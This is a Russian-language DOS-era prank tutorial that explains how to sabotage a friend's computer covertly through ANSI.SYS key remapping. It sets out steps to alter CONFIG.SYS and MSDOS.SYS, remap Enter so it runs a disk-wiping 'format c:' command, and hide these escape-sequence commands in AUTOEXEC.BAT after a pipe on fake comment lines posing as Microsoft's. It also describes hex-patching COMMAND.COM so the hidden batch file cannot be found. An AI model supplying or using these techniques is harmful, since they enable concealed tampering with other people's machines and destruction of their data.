div.main {margin-left: 20pt; margin-right: 20pt}Гадим с ANSI.SYS.
Вступление
Есть в Досе (а так же и в Win9x) такой интересный драйвер
ANSI.SYS. Ну драйвер, как драйвер, название ничего не говорит. А
драйвер сей предназначен для управления текстовым выводом на экран
(с цветами там всякими, это нам не интересно), а за одно и для
переназначения клавиш (а вот это уже интересней). АНСИ.СИС работает
так: всё, что выводится на экран он проверяет на сочетание {Esc}+"["
(ASCII=27,91) и разбирает параметры, которые за этим следуют. Нам
интересен такой формат:
{Esc}+"[key;rekey1;"any_string";rekey2...p"
Сам прикол
Нам понадобятся: 1) Компутер товарища 2) Текстовый редактор
с поддержкой ввода спецсимволов (Фар, Волков или любой Hex-редактор
подойдут) 3) Руки, вставленные нужным концом в нужное место.
Что делать: 1) Добавить строчку
"DEVICE=C:MUST_DIECOMMANDANSI.SYS" в CONFIG.SYS (иногда она там
уже есть) 2) Добавить или изменить строчку в MSDOS.SYS в разделе
[Options]: "BootGUI=0" (это чтобы у него Винда не загрузилась и оп
попытался это сделать вручную) 3) Вывести на экран
последовательность управляющих символов при загрузке компа
... Как делать: С 1-м и 2-м я думаю всё понятно, а что
выводить при загрузке? Это - кому что нравится. Вот
примеры: ({Esc} - это 27-й символ (1A), чтобы его ввести в Фаре
или Волкове нажми Ctrl+Q,Esc) 1) @Echo
{Esc}[13;27p - (вместо Enter
будет Esc) долго чел будет пытаться что-нибудь запустить из
командной строки 2) @Echo {Esc}[27;"win";13p - (при Esc запускать
Win) заводит чела в тупик... 3) @Echo {Esc}[13;27;"win";13p -
(при Enter'е запускать Win не зависимо от командной строки) заводит
чела в cтопор (Кто сказал в штопор?)... 4) И совсем злой пример:
@Echo {Esc}[13;"echo Y|format c:";13p - Можно потом и по морде
получить
А куда это всё засунуть? Ламер сразу скажет в Аутоексек.бат и
будет прав. Можно, конечно, так прямым текстом и написать, но как
засунуть, так чтобы никто не догадался, что там оно есть? Вот ты
скажи честно, как ты думаешь, если в Autoexec.bat перед строкой
поставить REM, она будет выполнятся? "Да, только не вся, а ее конец
после '|'" - скажешь ты, и я скажу, что ты - молодец. А если ты
сказал "Нет", то я тебе объясню почему ты не прав: в Досе есть такая
фича (содранная, кстати, с Unix'а), как перенаправление выхода одной
проги на вход другой, и делается он так: command1 | command2 А
следовательно, если в строке с REM'ом стоит "|" то всё, что после
него, прекрасно выполнится (правда без ввода с клавы, но для Echo на
этого и не надо). А отсюда рецепт: Находим в Autoexec.bat заREMиную
строчку и добавляем в конец свой @Echo (можно его еще пробелами
подальше вправо сдвинуть (так чтобы при просмотре он казался на
следующей строчке))! Если там такой строчки нет (что редко бывает),
то можно добавить: "Rem --- Added by Microsoft Windows. Please don't
remove it! --- | @echo {Esc}[13;"Врагу не сдается наш гордый
варяг";13p" или "Rem This comment is very nessesary for me. Please
don't remove it! | @echo {Esc}[13;"Пощады никто не дождётся";13p"
Или если очень хочется, можно таким же способом вызвать любой файл
(Exe-например), а в нем делать что-нибудь поинтересней.... А можно
так спрятать, что он вообще никогда не уберет, пока винт не
форматнет! Для этого надо немного пропатчить его
Command.com: Найди в нем Hex-редактором строчку AUTOEXEC.BAT и
измени ее, например, на WinHack.Bat (главное не вылазить за рамки
этой строчки, но расширение необязательно должно быть .bat, его
может и не быть), а что писать в c:winhack.bat я думаю объяснять
не надо, сам уже взрослый(ая), понимать должен(а). Ну пофантазируй!
Не дай другу скучать! Удачи
Автор: Alexander
Ermakov
|